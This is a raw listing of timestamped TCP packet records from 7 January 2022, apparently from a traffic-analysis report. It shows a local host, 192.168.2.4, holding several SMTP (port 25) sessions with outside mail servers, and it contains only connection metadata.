Jan 7, 2022 15:56:49.211421967 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.211637020 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.242052078 CET	25	49834	74.125.200.26	192.168.2.4
Jan 7, 2022 15:56:49.358242989 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:49.358269930 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:49.358680010 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:49.358990908 CET	49831	25	192.168.2.4	148.163.149.218
Jan 7, 2022 15:56:49.359132051 CET	49831	25	192.168.2.4	148.163.149.218
Jan 7, 2022 15:56:49.398428917 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:49.398614883 CET	49831	25	192.168.2.4	148.163.149.218
Jan 7, 2022 15:56:49.400666952 CET	25	49834	74.125.200.26	192.168.2.4
Jan 7, 2022 15:56:49.400775909 CET	49834	25	192.168.2.4	74.125.200.26
Jan 7, 2022 15:56:49.401707888 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.401845932 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.401856899 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.401921988 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.401945114 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.401973009 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.401977062 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.402020931 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.402035952 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.402091026 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.402141094 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.402245045 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.402257919 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.402287006 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.402292967 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.402318001 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.402323008 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.402349949 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.402365923 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.402384996 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.402414083 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.402448893 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.402460098 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.402517080 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.402523041 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.402537107 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.402596951 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.402604103 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.402662992 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.402667999 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.402715921 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.402734041 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.402760983 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.402817965 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.402883053 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.402966022 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.402971983 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.402980089 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.403033972 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.403042078 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.403054953 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.403124094 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.445169926 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.445302963 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.446937084 CET	25	49844	142.250.157.26	192.168.2.4
Jan 7, 2022 15:56:49.447263002 CET	49844	25	192.168.2.4	142.250.157.26
Jan 7, 2022 15:56:49.549038887 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:49.549276114 CET	49831	25	192.168.2.4	148.163.149.218
Jan 7, 2022 15:56:49.549549103 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:49.549563885 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:49.549766064 CET	49831	25	192.168.2.4	148.163.149.218
Jan 7, 2022 15:56:49.549863100 CET	49831	25	192.168.2.4	148.163.149.218
Jan 7, 2022 15:56:49.550287008 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:49.550335884 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:49.550465107 CET	49831	25	192.168.2.4	148.163.149.218
Jan 7, 2022 15:56:49.588973999 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:49.589319944 CET	49831	25	192.168.2.4	148.163.149.218
Jan 7, 2022 15:56:49.593046904 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.593082905 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.593091011 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.593100071 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.593111038 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.593144894 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.593183994 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.593252897 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.593252897 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.593317986 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.593341112 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.593391895 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.593425035 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.593436003 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.593446970 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.593485117 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.593512058 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.593544006 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.593554974 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.593605995 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.593919992 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.593930960 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.593940020 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.593946934 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.593956947 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.593967915 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.593978882 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.593990088 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.594005108 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.594021082 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.594037056 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.594052076 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.594058990 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.594105005 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.594126940 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.594141960 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.594144106 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.594194889 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.594245911 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.594264030 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.594279051 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.594294071 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.594345093 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.594363928 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.594374895 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.594418049 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.594434977 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.594439030 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.594463110 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.594480991 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.594496012 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.594535112 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.594546080 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.594562054 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.594594002 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.594615936 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.594619989 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.594633102 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.594666958 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.594675064 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.594695091 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.594722033 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.594809055 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.594944000 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.594986916 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.594999075 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.595072031 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.595104933 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.595196009 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.595230103 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.595283985 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.595352888 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.595442057 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.595530987 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.595587015 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.595657110 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.595786095 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.595797062 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.595849991 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.636653900 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.636749983 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.739600897 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:49.739628077 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:49.739711046 CET	49831	25	192.168.2.4	148.163.149.218
Jan 7, 2022 15:56:49.739784956 CET	49831	25	192.168.2.4	148.163.149.218
Jan 7, 2022 15:56:49.740309954 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:49.740329981 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:49.740505934 CET	49831	25	192.168.2.4	148.163.149.218
Jan 7, 2022 15:56:49.740603924 CET	49831	25	192.168.2.4	148.163.149.218
Jan 7, 2022 15:56:49.740896940 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:49.740911961 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:49.741014004 CET	49831	25	192.168.2.4	148.163.149.218
Jan 7, 2022 15:56:49.741074085 CET	49831	25	192.168.2.4	148.163.149.218
Jan 7, 2022 15:56:49.741430998 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:49.742213964 CET	49831	25	192.168.2.4	148.163.149.218
Jan 7, 2022 15:56:49.749983072 CET	25	49844	142.250.157.26	192.168.2.4
Jan 7, 2022 15:56:49.750283957 CET	25	49834	74.125.200.26	192.168.2.4
Jan 7, 2022 15:56:49.750396967 CET	49844	25	192.168.2.4	142.250.157.26
Jan 7, 2022 15:56:49.780111074 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:49.780270100 CET	49831	25	192.168.2.4	148.163.149.218
Jan 7, 2022 15:56:49.785084963 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.785106897 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.785130024 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.785140991 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.785156965 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.785222054 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.785239935 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.785320997 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.785334110 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.785351038 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.785362005 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.785407066 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.785478115 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.785491943 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.785639048 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.785727024 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.785779953 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.785792112 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.785875082 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.785970926 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.786014080 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.786211967 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.786228895 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.786323071 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.786389112 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.786465883 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.786475897 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.786498070 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.786519051 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.786533117 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.786536932 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.786554098 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.786571026 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.786585093 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.786598921 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.786612034 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.786624908 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.786639929 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.786653996 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.786669970 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.786684990 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.786699057 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.786766052 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.786784887 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.786802053 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.786930084 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.787055016 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.787131071 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.787189960 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.787256956 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.787329912 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.787345886 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.787393093 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.787410021 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.787554026 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.787662983 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.787724972 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.787933111 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.787950993 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.788094044 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.788126945 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.788512945 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.788535118 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.788609028 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.788625002 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.788690090 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.788705111 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.788769007 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.788788080 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.788805962 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.788825035 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.788824081 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.788896084 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.878964901 CET	25	49844	142.250.157.26	192.168.2.4
Jan 7, 2022 15:56:49.879096985 CET	49844	25	192.168.2.4	142.250.157.26
Jan 7, 2022 15:56:49.906157017 CET	25	49834	74.125.200.26	192.168.2.4
Jan 7, 2022 15:56:49.906305075 CET	49834	25	192.168.2.4	74.125.200.26
Jan 7, 2022 15:56:49.930129051 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:49.930280924 CET	49831	25	192.168.2.4	148.163.149.218
Jan 7, 2022 15:56:49.930927992 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:49.931018114 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:49.931075096 CET	49831	25	192.168.2.4	148.163.149.218
Jan 7, 2022 15:56:49.931143045 CET	49831	25	192.168.2.4	148.163.149.218
Jan 7, 2022 15:56:49.931510925 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:49.931627989 CET	49831	25	192.168.2.4	148.163.149.218
Jan 7, 2022 15:56:49.931637049 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:49.935508013 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:49.942369938 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.970474958 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:49.971330881 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:49.977972031 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.978005886 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.978017092 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.978029013 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.978082895 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.978095055 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.978106022 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.978154898 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.980206013 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.980232954 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.980246067 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.980258942 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.980271101 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.980360985 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.980403900 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.980478048 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.980551004 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.980593920 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:50.120412111 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:50.121239901 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:50.121329069 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:50.121524096 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:50.122215033 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:50.122941017 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:50.123138905 CET	49831	25	192.168.2.4	148.163.149.218
Jan 7, 2022 15:56:50.123174906 CET	49831	25	192.168.2.4	148.163.149.218
Jan 7, 2022 15:56:50.133747101 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:50.146219969 CET	49845	25	192.168.2.4	193.239.68.121
Jan 7, 2022 15:56:50.188630104 CET	25	49845	193.239.68.121	192.168.2.4
Jan 7, 2022 15:56:50.188872099 CET	49845	25	192.168.2.4	193.239.68.121
Jan 7, 2022 15:56:50.191456079 CET	25	49844	142.250.157.26	192.168.2.4
Jan 7, 2022 15:56:50.224797010 CET	49846	25	192.168.2.4	131.107.55.31
Jan 7, 2022 15:56:50.233937979 CET	25	49845	193.239.68.121	192.168.2.4
Jan 7, 2022 15:56:50.234069109 CET	49845	25	192.168.2.4	193.239.68.121
Jan 7, 2022 15:56:50.255897045 CET	25	49834	74.125.200.26	192.168.2.4
Jan 7, 2022 15:56:50.276648998 CET	25	49845	193.239.68.121	192.168.2.4
Jan 7, 2022 15:56:50.276879072 CET	49845	25	192.168.2.4	193.239.68.121
Jan 7, 2022 15:56:50.313364983 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:50.313494921 CET	49831	25	192.168.2.4	148.163.149.218
Jan 7, 2022 15:56:50.315082073 CET	25	49844	142.250.157.26	192.168.2.4
Jan 7, 2022 15:56:50.315186977 CET	49844	25	192.168.2.4	142.250.157.26
Jan 7, 2022 15:56:50.319246054 CET	25	49845	193.239.68.121	192.168.2.4
Jan 7, 2022 15:56:50.321600914 CET	49845	25	192.168.2.4	193.239.68.121
Jan 7, 2022 15:56:50.348656893 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:50.403605938 CET	25	49845	193.239.68.121	192.168.2.4
Jan 7, 2022 15:56:50.422483921 CET	25	49834	74.125.200.26	192.168.2.4
Jan 7, 2022 15:56:50.422615051 CET	49834	25	192.168.2.4	74.125.200.26
Jan 7, 2022 15:56:50.422646999 CET	49834	25	192.168.2.4	74.125.200.26
Jan 7, 2022 15:56:50.423063993 CET	49847	25	192.168.2.4	173.194.79.27
Jan 7, 2022 15:56:50.449466944 CET	25	49847	173.194.79.27	192.168.2.4
Jan 7, 2022 15:56:50.449574947 CET	49847	25	192.168.2.4	173.194.79.27
Jan 7, 2022 15:56:50.478154898 CET	25	49847	173.194.79.27	192.168.2.4
Jan 7, 2022 15:56:50.478331089 CET	49847	25	192.168.2.4	173.194.79.27
Jan 7, 2022 15:56:50.505012035 CET	25	49847	173.194.79.27	192.168.2.4
Jan 7, 2022 15:56:50.510572910 CET	25	49847	173.194.79.27	192.168.2.4
Jan 7, 2022 15:56:50.510745049 CET	49847	25	192.168.2.4	173.194.79.27
Jan 7, 2022 15:56:50.538090944 CET	25	49847	173.194.79.27	192.168.2.4
Jan 7, 2022 15:56:50.538211107 CET	49847	25	192.168.2.4	173.194.79.27
Jan 7, 2022 15:56:50.539999962 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:50.570285082 CET	25	49847	173.194.79.27	192.168.2.4
Jan 7, 2022 15:56:50.574346066 CET	25	49847	173.194.79.27	192.168.2.4
Jan 7, 2022 15:56:50.574453115 CET	49847	25	192.168.2.4	173.194.79.27
Jan 7, 2022 15:56:50.574496031 CET	49847	25	192.168.2.4	173.194.79.27
Jan 7, 2022 15:56:50.574831963 CET	49848	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:56:50.601464033 CET	25	49847	173.194.79.27	192.168.2.4
Jan 7, 2022 15:56:50.601545095 CET	49847	25	192.168.2.4	173.194.79.27
Jan 7, 2022 15:56:50.627397060 CET	25	49844	142.250.157.26	192.168.2.4
Jan 7, 2022 15:56:50.746242046 CET	25	49844	142.250.157.26	192.168.2.4
Jan 7, 2022 15:56:50.746370077 CET	49844	25	192.168.2.4	142.250.157.26
Jan 7, 2022 15:56:50.772330999 CET	25	49834	74.125.200.26	192.168.2.4
Jan 7, 2022 15:56:50.778125048 CET	25	49834	74.125.200.26	192.168.2.4
Jan 7, 2022 15:56:50.848702908 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:50.923032999 CET	25	49848	74.125.200.27	192.168.2.4
Jan 7, 2022 15:56:50.923657894 CET	25	49834	74.125.200.26	192.168.2.4
Jan 7, 2022 15:56:50.923733950 CET	49834	25	192.168.2.4	74.125.200.26
Jan 7, 2022 15:56:50.924258947 CET	49848	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:56:50.926558971 CET	25	49834	74.125.200.26	192.168.2.4
Jan 7, 2022 15:56:50.926629066 CET	49834	25	192.168.2.4	74.125.200.26
Jan 7, 2022 15:56:51.040050030 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:51.040146112 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:51.040786028 CET	49829	25	192.168.2.4	34.215.215.23
